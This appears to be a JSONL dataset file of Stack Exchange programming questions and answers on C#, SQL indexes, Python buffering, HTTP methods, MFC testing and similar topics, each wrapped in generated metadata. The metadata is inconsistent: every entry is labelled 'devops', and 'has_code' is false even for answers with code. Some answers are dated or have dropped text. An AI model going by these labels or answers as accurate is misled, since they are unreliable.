{"id": "hf_575a6e18bf77", "question": "<p>I'm a pretty new C# and .NET developer. I recently created an MMC snapin using C# and was gratified by how easy it was to do, especially after hearing a lot of horror stories by some other developers in my organisation about how hard it is to do in C++.</p>\n<p>I pretty much went through the whole project at some point and made every instance of the &quot;public&quot; keyword to &quot;internal&quot;, except as required by the runtime in order to run the snapin. What is your feeling on this, should you generally make classes and methods public or internal?</p>\n", "question_body": "", "answer": "I believe in blackboxes where possible. As a programmer, I want a well defined blackbox which I can easily drop into my systems, and have it work. I give it values, call the appropriate methods, and then get my results back out of it.\nTo that end, give me only the functionality that the class needs to expose to work.\nConsider an elevator. To get it to go to a floor, I push a button. That's the public interface to the black box which activates all the functions needed to get the elevator to the desired floor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.897093"}
{"id": "hf_22e4864ce898", "question": "<p>I have been using <a href=\"http://en.wikipedia.org/wiki/Inversion_of_control\" rel=\"nofollow noreferrer\">IoC</a> for a little while now and I am curious if I should use Microsoft's <a href=\"http://msdn.microsoft.com/en-us/library/dd203101.aspx\" rel=\"nofollow noreferrer\">Unity</a> framework (official name \"Unity Application Block\").  Does anyone have experience using it?  So for I have been copying my IoC container code from project to project, but I think it would be better to using something standard.  I think IoC can make a HUGE difference in keeping component based applications loosely coupled and therefore changeable but I am by no means an expert on IoC, so I am nervous to switch to a framework that will just paint me into a corner as a dependency I will one day want to walk away from.</p>\n", "question_body": "", "answer": "I've played with CompositeWPF (aka Prism) - successor of Composite app block. From my experience Unity works much better as compared with previous version of ObjectBuilder. However it's up to you to evaluate IoC frameworks and choose one suited for your needs.\nUnity tutorials & samples\nUnity IoC Screencast", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.921190"}
{"id": "hf_4a51c8f9775e", "question": "<p>I'm trying to implement an outdent of the first letter of the first paragraph of the body text. Where I'm stuck is in getting consistent spacing between the first letter and the rest of the paragraph. </p>\n\n<p>For example, there is a huge difference in spacing between a \"W\" and an \"I\"</p>\n\n<p><img src=\"https://i.stack.imgur.com/2TsvYm.png\" alt=\"&#39;I&#39; Outdent\"><br>\n<img src=\"https://i.stack.imgur.com/DnZVSm.png\" alt=\"&#39;W&#39; Outdent\"></p>\n\n<p>Anyone have any ideas about how to mitigate the differences? I'd prefer a pure CSS solution, but will resort to JavaScript if need be.</p>\n\n<p><strong>PS</strong>: I don't necessarily need compatibility in IE or Opera</p>\n", "question_body": "", "answer": "I tried using a fix-width font like 'courier new' and since the characters are more or less the same width it made it a lot less noticeable.\nEdit - this font is decent but might only work for windows\n```\n```\np.outdent:first-letter {\n    font-family: ms mincho;\n    font-size: 8em;\n    line-height: 1;\n    font-weight: normal;\n    float: left;\n    margin: -0.1em 0 0 -.55em;\n    letter-spacing: 0.05em;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.037937"}
{"id": "hf_7754db7b0c68", "question": "<p>I noticed that you can call Queue.Synchronize to get a thread-safe queue object, but the same method isn't available on Queue&lt;T&gt;.  Does anyone know why?  Seems kind of weird.</p>\n", "question_body": "", "answer": "(I assume you mean Queue<T> for the second one.)\nI can't specifically answer the question, except that the IsSynchronized and SyncRoot properties (but not Synchronise() explicitly) are inherited from the ICollection interface. None of the generic collections use this and the ICollection<T> interface does not include SyncRoot.\nAs to why it is not included, I can only speculate that they weren't being used either in the way intended by the library designers or they simply weren't being used enough to justify retaining them in the newer collections.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.105124"}
{"id": "hf_385258b4a5c5", "question": "<p>It seems like you could use a mashup of Relector and a Debugger to be able to debug any .NET app WITHOUT having the source code at all.  Is this possible?  Has anyone seen this before?</p>\n", "question_body": "", "answer": "I tried this a long time ago without success. Reflector has improved alot since then so I imagine it may be possible today.\nIt's actually kind of scary if you think about it. Someone could decompile your app and have the full code, then modify it and distribute their own version of it. All without being open source. But then again that's why \"they\" created obfuscators.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.134649"}
{"id": "hf_d14ae5e421ed", "question": "<p>As a follow up to \"<a href=\"https://stackoverflow.com/questions/105400/what-are-indexes-and-how-can-i-use-them-to-optimize-queries-in-my-database\">What are indexes and how can I use them to optimise queries in my database?</a>\" where I am attempting to learn about indexes, what columns are good index candidates? Specifically for an MS SQL database?</p>\n\n<p>After some googling, everything I have read suggests that columns that are generally increasing and unique make a good index (things like MySQL's auto_increment), I understand this, but I am using MS SQL and I am using GUIDs for primary keys, so it seems that indexes would not benefit GUID columns...</p>\n", "question_body": "", "answer": "In general (I don't use mssql so can't comment specifically), primary keys make good indexes. They are unique and must have a value specified. (Also, primary keys make such good indexes that they normally have an index created automatically.)\nAn index is effectively a copy of the column which has been sorted to allow binary search (which is much faster than linear search). Database systems may use various tricks to speed up search even more, particularly if the data is more complex than a simple number.\nMy suggestion would be to not use any indexes initially and profile your queries. If a particular query (such as searching for people by surname, for example) is run very often, try creating an index over the relevate attributes and profile again. If there is a noticeable speed-up on queries and a negligible slow-down on insertions and updates, keep the index.\n(Apologies if I'm repeating stuff mentioned in your other question, I hadn't come across it previously.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.155717"}
{"id": "hf_bacd836b34f1", "question": "<p>How do I capture the event of the clicking the Selected Node of a TreeView?\nIt doesn't fire the <strong>SelectedNodeChanged</strong> since the selection has obviously not changed but then what event can I catch so I know that the Selected Node was clicked?</p>\n\n<p><strong>UPDATE</strong>:\nWhen I have some time, I'm going to have to dive into the bowels of the TreeView control and dig out what and where it handles the click events and subclass the TreeView to expose a new event OnSelectedNodeClicked.</p>\n\n<p>I'll probably do this over the Christmas holidays and I'll report back with the results.</p>\n\n<p><strong>UPDATE</strong>:\nI have come up with a solution below that sub-classes the TreeView control.</p>\n", "question_body": "", "answer": "Easiest way - if it doesn't interfere with the rest of your code - is to simply set the node as not selected in the SelectedNodeChanged method.\n```\n```\nprotected void TreeView1_SelectedNodeChanged(object sender, EventArgs e){\n  // Do whatever you're doing\n  TreeView1.SelectedNode.Selected = false;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.189334"}
{"id": "hf_c66130e24c0c", "question": "<p>I'm asking more about what this means to my code.  I understand the concepts mathematically, I just have a hard time wrapping my head around what they mean conceptually.  For example, if one were to perform an O(1) operation on a data structure, I understand that the number of operations it has to perform won't grow because there are more items.  And an O(n) operation would mean that you would perform a set of operations on each element.  Could somebody fill in the blanks here?</p>\n\n<ul>\n<li>Like what exactly would an O(n^2) operation do?</li>\n<li>And what the heck does it mean if an operation is O(n log(n))?</li>\n<li>And does somebody have to smoke crack to write an O(x!)?</li>\n</ul>\n", "question_body": "", "answer": "A lot of these are easy to demonstrate with something non-programming, like shuffling cards.\nSorting a deck of cards by going through the whole deck to find the ace of spades, then going through the whole deck to find the 2 of spades, and so on would be worst case n^2, if the deck was already sorted backwards. You looked at all 52 cards 52 times.\nIn general the really bad algorithms aren't necessarily intentional, they're commonly a misuse of something else, like calling a method that is linear inside some other method that repeats over the same set linearly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.250045"}
{"id": "hf_8f44028fd460", "question": "<p>Has anyone out there got a good set of instructions for building/compiling Ruby from source of windows XP ?</p>\n", "question_body": "", "answer": "http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-talk/184380\nI normally get a binary installable for windows.. much faster if you just need Ruby installed. But you may be modifying ruby source.. anyways..\nUpdate:\nI ended up compiling Ruby from source today... here is what worked for me\nhttp://madcoderspeak.blogspot.com/2009/06/how-to-compile-ruby-from-source-on.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.277076"}
{"id": "hf_a687e3be0271", "question": "<p>I want to debug an application in Visual Studio but I ONLY have the source code for 1 class.  I only need to step through a single function in that file, but I don't understand what I need to do it.  I think the steps are normally something like this:</p>\n\n<ol>\n<li>Open a file in VS</li>\n<li>Load in the \"symbols\" (.PDB file)</li>\n<li>Attach to the running process</li>\n</ol>\n\n<p>I know how to do #1 and #3, but I don't how to do #2 without the .PDB file.  Is it possible to generate the .PDB file for this to make it work?  Thanks!</p>\n", "question_body": "", "answer": "You need the symbol file (.PDB) file that belongs to the application you are trying to debug.\nMSDN: PDB Files\nThe Visual Studio debugger uses the path to the PDB in the EXE or DLL file to find the project.pdb file. If the debugger cannot find the PDB file at that location, or if the path is invalid, for example, if the project was moved to another computer, the debugger searches the path containing the EXE followed by the symbol paths specified in the Options dialog box. This path is generally the Debugging folder in the Symbols node. The debugger will not load a PDB that does not match the binary being debugged.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.300091"}
{"id": "hf_c35dbce40711", "question": "<p>Most of the implementations I find require a hardware instruction to do this.  However I strongly doubt this is required (if it is, I can't figure out why...)</p>\n", "question_body": "", "answer": "You don't need a test and set instruction to get mutual exclusion locking, if thats what you're asking.\nDijkstra described the first mutual exclusion algorithm I am aware of, in 1965. The title of the paper was \"Solution of a problem in concurrent programming control\", search Google for a copy near you. The original algorithm required no special support from the hardware at all, but providing an atomic instruction in the CPU dramatically improves the performance.\nTest-and-set, atomic swap, and load-linked + store-conditional are all common primitives for CPUs to provide. All can be used to implement mutual exclusion, which can then be used to implement whatever locking semantics you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.323405"}
{"id": "hf_ba23f281b463", "question": "<p>I was reading Andrew Kennedy's blog post series on <a href=\"http://blogs.msdn.com/andrewkennedy/archive/2008/08/29/units-of-measure-in-f-part-one-introducing-units.aspx\" rel=\"noreferrer\">units of measurement in F#</a> and it makes a lot of sense in a lot of cases.  Are there any other languages that have such a system?</p>\n\n<p>Edit: To be more clear, I mean the flexible units of measurement system where you can define your own arbitrarily.</p>\n", "question_body": "", "answer": "I'm not sure if this really counts, but the\n```\nRPL\n```\nsystem on my HP-48 calculator does have similar features. I can write\n```\n40_gal 5_l +\n```\nand get the right answer of  156.416 liters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.369374"}
{"id": "hf_296c3656f102", "question": "<p>How often should I commit changes to source control ? After every small feature, or only for large features ?</p>\n\n<p>I'm working on a project and have a long-term feature to implement. Currently, I'm committing after every chunk of work, i.e. every sub-feature implemented and bug fixed. I even commit after I've added a new chunk of tests for some feature after discovering a bug.</p>\n\n<p>However, I'm concerned about this pattern. In a productive day of work I might make 10 commits. Given that I'm using Subversion, these commits affect the whole repository, so I wonder if it indeed is a good practice to make so many ?</p>\n", "question_body": "", "answer": "I like to commit changes every 30-60 minutes, as long as it compiles cleanly and there are no regressions in unit tests.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.393647"}
{"id": "hf_e69fc207048e", "question": "<p>I understand the overall meaning of pointers and references(or at least I think i do), I also understand that when I use <b>new</b> I am dynamically allocating memory.</p>\n\n<p>My question is the following:</p>\n\n<p>If i were to use <code>cout &lt;&lt; &amp;p</code>, it would display the \"virtual memory location\" of <code>p</code>.\nIs there a way in which I could manipulate this \"virtual memory location?\"</p>\n\n<p>For example, the following code shows an array of <code>int</code>s.</p>\n\n<p>If I wanted to show the value of <code>p[1]</code> and I knew the \"virtual memory location\" of <code>p</code>, could I somehow do \"<code>&amp;p + 1</code>\" and obtain the value of <code>p[1]</code> with <code>cout &lt;&lt; *p</code>, which will now point to the second element in the array?</p>\n\n<pre><code>int *p;\np = new int[3];\n\np[0] = 13;\np[1] = 54;\np[2] = 42;\n</code></pre>\n", "question_body": "", "answer": "Sure, you can manipulate the pointer to access the different elements in the array, but you will need to manipulate the content of the pointer (i.e. the address of what p is pointing to), rather than the address of the pointer itself.\n```\n```\nint *p = new int[3];\np[0] = 13;\np[1] = 54;\np[2] = 42;\n\ncout << *p << ' ' << *(p+1) << ' ' << *(p+2);\n```\n```\nEach addition (or subtraction) mean the subsequent (prior) element in the array. If p points to a 4 byte variable (e.g.\nint\non typical 32-bits PCs) at address say 12345, p+1 will point to 12349, and not 12346. Note you want to change the value of what p contains before dereferencing it to access what it points to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.445630"}
{"id": "hf_3cf12ce4aad5", "question": "<p>They both seem to be sending data to the server inside the body, so what makes them different?</p>\n", "question_body": "", "answer": "PUT is meant as a a method for \"uploading\" stuff to a particular URI, or overwriting what is already in that URI.\nPOST, on the other hand, is a way of submitting data RELATED to a given URI.\nRefer to\nthe HTTP RFC", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.529453"}
{"id": "hf_05a721df5b78", "question": "<p>What are the down sides of using a composite/compound primary key?</p>\n", "question_body": "", "answer": "Need more specificity.\nTaken too far, it can overcomplicate Inserts (Every key MUST exist) and documentation and your joined reads could be suspect if incomplete.\nSometimes it can indicate a flawed data model (is a composite key REALLY what's described by the data?)\nI don't believe there is a performance cost...it just can go really wrong really easily.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.554135"}
{"id": "hf_e90da35b3cf1", "question": "<p>What I'm trying to do here is get the headers of a given URL so I can determine the MIME type. I want to be able to see if <code>http://somedomain/foo/</code> will return an HTML document or a JPEG image for example. Thus, I need to figure out how to send a HEAD request so that I can read the MIME type without having to download the content. Does anyone know of an easy way of doing this?</p>\n", "question_body": "", "answer": "edit\n: This answer works, but nowadays you should just use the\nrequests\nlibrary as mentioned by other answers below.\nUse\nhttplib\n.\n```\n```\n>>> import httplib\n>>> conn = httplib.HTTPConnection(\"www.google.com\")\n>>> conn.request(\"HEAD\", \"/index.html\")\n>>> res = conn.getresponse()\n>>> print res.status, res.reason\n200 OK\n>>> print res.getheaders()\n[('content-length', '0'), ('expires', '-1'), ('server', 'gws'), ('cache-control', 'private, max-age=0'), ('date', 'Sat, 20 Sep 2008 06:43:36 GMT'), ('content-type', 'text/html; charset=ISO-8859-1')]\n```\n```\nThere's also a\n```\ngetheader(name)\n```\nto get a specific header.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.578378"}
{"id": "hf_7f327ec87956", "question": "<p>I have a 3d object that I wish to be able to rotate around in 3d.  The easiest way is to directly translate X and Y mouse motion to rotation about the Y and X axes, but if there is some rotation along both axes, the way the model rotates becomes highly counterintuitive (i.e. if you flip the object 180 degrees about one axis, your motion along the other axis is reversed).</p>\n\n<p>I could simply do the above method, but instead of storing the amount to rotate about the two axes, I could store the full rotation matrix and just further rotate it along the same axes for each mouse drag, but I'm concerned that that would quickly have precision issues.</p>\n", "question_body": "", "answer": "Create an accumulator matrix and initialize it with the identity.\nEach frame, apply that to your modelview/world matrix state before drawing the object.\nUpon mouse motion, construct a rotation matrix about the X axis with some sensitivity_constant * delta_x.  Construct another rotation matrix about the Y axis for the other component.  Multiply one, then the other onto the accumulator.\nThe accumulator will change as you move the mouse.  When drawing, it will orient the object as you expect.\nAlso, the person talking about quaternions is right; this will look good only for small incremental changes.  If you drag it quickly on a diagonal, it won't rotate quite the way you expect.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.602835"}
{"id": "hf_8a82fbc0c25a", "question": "<p>As a base SAS programmer, you know the drill:</p>\n\n<p>You submit your SAS code, which contains an unbalanced quote, so now you've got not only and unclosed quote, but also unclosed comments, macro function definitions, and a missing run; or quit; statement.</p>\n\n<p>What's your best trick for not having those unbalanced quotes bother you?</p>\n", "question_body": "", "answer": "As for myself, I usually\nGoogle for \"SAS unbalanced quote\"\n, and end up with submitting something like\nthis\n:\n```\n```\n*); */; /*’*/ /*”*/; %mend;\n```\n```\n... to break out of unclosed comments, quotes and macro functions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.627544"}
{"id": "hf_848c8bdbc71a", "question": "<p>There have been some questions about whether or not JavaScript is an object-oriented language. Even a statement, \"just because a language has objects doesn't make it OO.\"</p>\n\n<p>Is JavaScript an object-oriented language?</p>\n", "question_body": "", "answer": "The short answer is Yes. For more information:\nFrom\nWikipedia\n:\nJavaScript is heavily object-based.\n  Objects are associative arrays,\n  augmented with prototypes (see below).\n  Object property names are associative\n  array keys: obj.x = 10 and obj[\"x\"] =\n  10 are equivalent, the dot notation\n  being merely syntactic sugar.\n  Properties and their values can be\n  added, changed, or deleted at\n  run-time. The properties of an object\n  can also be enumerated via a for...in\n  loop.\nAlso, see\nthis series of articles\nabout OOP with Javascript.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.675559"}
{"id": "hf_3e8f48caf98d", "question": "<p>When we compile a dll using __stdcall inside visual studio 2008 the compiled function names inside the dll are.</p>\n\n<p>FunctionName</p>\n\n<p>Though when we compile the same dll using GCC using wx-dev-cpp GCC appends the number of paramers the function has, so the name of the function using Dependency walker looks like.</p>\n\n<p>FunctionName@numberOfParameters or == FunctionName@8</p>\n\n<p>How do you tell GCC compiler to remove @nn from exported symbols in the dll?</p>\n", "question_body": "", "answer": "__stdcall decorates the function name by adding an underscore to the start, and the number of bytes of parameters to the end (separated by @).\nSo, a function:\n```\n```\nvoid __stdcall Foo(int a, int b);\n```\n```\n...would become _Foo@8.\nIf you list the function name (undecorated) in the EXPORTS section of your .DEF file, it is exported undecorated.\nPerhaps this is the difference?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.737053"}
{"id": "hf_174636c72bca", "question": "<p>How do you unit test a large MFC UI application?</p>\n\n<p>We have a few large MFC applications that have been in development for many years, we use some standard automated QA tools to run basic scripts to check fundamentals, file open etc. These are run by the QA group post the daily build.</p>\n\n<p>But we would like to introduce procedures such that individual developers can build and run tests against dialogs, menus, and other visual elements of the application before submitting code to the daily build.</p>\n\n<p>I have heard of such techniques as hidden test buttons on dialogs that only appear in debug builds, are there any standard toolkits for this.</p>\n\n<p>Environment is C++/C/FORTRAN, MSVC 2005, Intel FORTRAN 9.1, Windows XP/Vista x86 &amp; x64. </p>\n", "question_body": "", "answer": "Well we have one of these humongous MFC Apps at the workplace. Its a gigantic pain to maintain or extend... its a huge ball of mud now but it rakes in the moolah.Anyways\nWe use\nRational Robot\nfor doing smoke tests and the like.\nAnother approach that has had some success is to create a small product-specific language and\nscript tests\nthat use VBScript and some Control handle spying magic. Turn common actions into commands.. e.g. OpenDatabase would be a command that in turn will inject the required script blocks to click on Main Menu > File > \"Open...\". You then create excel sheets which are a series of such commands. These commands can take parameters too. Something like a FIT Test.. but more work. Once you have most of the common commands identified and scripts ready. It's pick and assemble scripts (tagged by CommandIDs) to write new tests. A test-runner parses these Excel sheets, combines all the little script blocks into a test script and runs it.\nOpenDatabase \"C:\\tests\\MyDB\"\nOpenDialog \"Add Model\"\nAddModel \"M0001\", \"MyModel\", 2.5, 100\nPressOK\nSaveDatabase\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.812122"}
{"id": "hf_607bb7e26973", "question": "<p>I need to load some fonts temporarily in my program. Preferably from a dll resource file.</p>\n", "question_body": "", "answer": "I found\nthis\nwith Google. I have cut & pasted the relevant code below.\nYou need to add the font to your resource file:\n```\n```\n34 FONT \"myfont.ttf\"\n```\n```\nThe following C code will load the font from the DLL resource and release it from memory when you are finished using it.\n```\nDWORD   Count;\nHMODULE Module   = LoadLibrary(\"mylib.dll\");\nHRSRC   Resource = FindResource(Module,MAKEINTRESOURCE(34),RT_FONT);\nDWORD   Length   = SizeofResource(Module,Resource);\nHGLOBAL Address  = LoadResource(Module,Resource);\nHANDLE  Handle   = AddFontMemResourceEx(Address,Length,0,&Count);\n\n/* Use the font here... */\n\nRemoveFontMemResourceEx(Handle);\nFreeLibrary(Module);\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.861803"}
{"id": "hf_f23f1c61baef", "question": "<p>So the official XML-RPC standard doesn't support 64-bit values.  But in these modern times, 64-bit values are increasingly common.</p>\n\n<p>How do you handle these?  What XML-RPC extensions are the most common?  What language bindings are there?  I'm especially interested in Python and C++, but all information is appreciated.</p>\n", "question_body": "", "answer": "I don't know anything about how XMLRPC could be extended but I did find\nthis mail\nabout the subject:\nIn XML-RPC, everything is transmitted\n  as a string, so I don't think that\n  choice is really that bad - except of\n  course for the additional clumsiness\n  for invoking explicit conversion\n  functions.\nBut no, XML-RPC doesn't have a data\n  type that can represent integers above\n  2**32. If you can accept losing\n  precision, you can use doubles (but\n  you still would have to convert\n  explicitly on the sender).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.885258"}
{"id": "hf_5169ecfe685f", "question": "<p>What is the best (regarding performance) way to compute the critical path of a directional acyclic graph when the nodes of the graph have weight?</p>\n\n<p>For example, if I have the following structure:</p>\n\n<pre><code>            Node A (weight 3)\n               /            \\\n     Node B (weight 4)      Node D (weight 7)\n     /               \\\nNode E (weight 2)   Node F (weight 3)\n</code></pre>\n\n<p>The critical path should be A->B->F (total weight: 10)</p>\n", "question_body": "", "answer": "I have no clue about \"critical paths\", but I assume you mean\nthis\n.\nFinding the longest path in an acyclic graph with weights is only possible by traversing the whole tree and then comparing the lengths, as you never really know how the rest of the tree is weighted. You can find more about tree traversal at\nWikipedia\n. I suggest, you go with pre-order traversal, as it's easy and straight forward to implement.\nIf you're going to query often, you may also wish to augment the edges between the nodes with information about the weight of their subtrees at insertion. This is relatively cheap, while repeated traversal can be extremely expensive.\nBut there's nothing to really save you from a full traversal if you don't do it. The order doesn't really matter, as long as you do a\ntraversal\nand never go the same path twice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.908669"}
{"id": "hf_69f9a4bda466", "question": "<p>I'd like to build a real quick and dirty administrative backend for a Ruby on Rails application I have been attached to at the last minute. I've looked at activescaffold and streamlined and think they are both very attractive and they should be simple to get running, but I don't quite understand how to set up either one as a backend administration page. They seem designed to work like standard Ruby on Rails generators/scaffolds for creating visible front ends with model-view-controller-table name correspondence.</p>\n\n<p>How do you create a admin_players interface when players is already in use and you want to avoid, as much as possible, affecting any of its related files?</p>\n\n<p>The show, edit and index of the original resource are not usuable for the administrator.</p>\n", "question_body": "", "answer": "I have used Streamlined pretty extensively.\nTo get Streamline working you create your own controllers - so you can actually run it completely apart from the rest of your application, and you can even run it in a separate 'admin' folder and namespace that can be secured with\n.\nHere is the Customers controller from a recent app:\n```\n```\nclass CustomersController < ApplicationController\n  layout 'streamlined'\n  acts_as_streamlined       \n\n  Streamlined.ui_for(Customer) do\n    exporters :csv   \n    new_submit_button :ajax => false \n    default_order_options :order => \"created_at desc\"   \n    list_columns :name, :email, :mobile, :comments, :action_required_yes_no  \n  end\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.944529"}
{"id": "hf_4e5bdbf94724", "question": "<p>I'd like to unit test responses from the Google App Engine webapp.WSGIApplication, for example request the url '/' and test that the responses status code is 200, using <a href=\"http://code.google.com/p/gaeunit\" rel=\"noreferrer\">GAEUnit</a>. How can I do this? </p>\n\n<p>I'd like to use the webapp framework and GAEUnit, which runs within the App Engine sandbox (unfortunately <a href=\"http://pythonpaste.org/webtest/\" rel=\"noreferrer\">WebTest</a> does not work within the sandbox).</p>\n", "question_body": "", "answer": "Actually WebTest does work within the sandbox, as long as you comment out\n```\n```\nimport webbrowser\n```\n```\nin webtest/__init__.py", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:31.967866"}
{"id": "hf_61120713b593", "question": "<p>Is output buffering enabled by default in Python's interpreter for <code>sys.stdout</code>?</p>\n\n<p>If the answer is positive, what are all the ways to disable it?</p>\n\n<p>Suggestions so far:</p>\n\n<ol>\n<li>Use the <code>-u</code> command line switch</li>\n<li>Wrap <code>sys.stdout</code> in an object that flushes after every write</li>\n<li>Set <code>PYTHONUNBUFFERED</code> env var</li>\n<li><code>sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0)</code></li>\n</ol>\n\n<p>Is there any other way to set some global flag in <code>sys</code>/<code>sys.stdout</code> programmatically during execution?</p>\n", "question_body": "", "answer": "From\nMagnus Lycka answer on a mailing list\n:\nYou can skip buffering for a whole\npython process using\n```\npython -u\n```\nor by\nsetting the environment variable\nPYTHONUNBUFFERED.\nYou could also replace sys.stdout with\nsome other stream like wrapper which\ndoes a flush after every call.\n```\n```\nclass Unbuffered(object):\n   def __init__(self, stream):\n       self.stream = stream\n   def write(self, data):\n       self.stream.write(data)\n       self.stream.flush()\n   def writelines(self, datas):\n       self.stream.writelines(datas)\n       self.stream.flush()\n   def __getattr__(self, attr):\n       return getattr(self.stream, attr)\n\nimport sys\nsys.stdout = Unbuffered(sys.stdout)\nprint 'Hello'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.028613"}
